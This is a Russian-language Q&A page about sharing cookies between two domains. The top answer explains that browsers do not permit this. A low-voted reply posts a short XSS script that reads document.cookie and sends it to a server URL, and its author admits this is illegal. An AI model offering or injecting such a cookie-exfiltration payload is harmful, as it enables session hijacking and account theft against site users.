Как я могу делиться файлами cookie между двумя доменами с помощью JavaScript? - PullRequest
5 голосов
/ 30 августа 2010

Я хочу иметь возможность доступа и установки файлов cookie между example.com и mysite.com. Как мне это сделать?

Ответы [ 2 ]

2 голосов
/ 30 августа 2010

Вы не можете сделать это только с помощью файлов cookie: они установлены явно для каждого домена, и нет законного (читай: «не использовать») способа установить их для другого домена.

ОднакоЕсли вы управляете обоими серверами, может быть возможно использовать некоторые обходные пути / хаки для достижения этой цели, но это не так, и это может неожиданно сломаться (см. этот вопрос ; ответы там должны помочь вамк решению).

0 голосов
/ 29 мая 2013
<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS но это незаконно. Я использую прототип lib.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...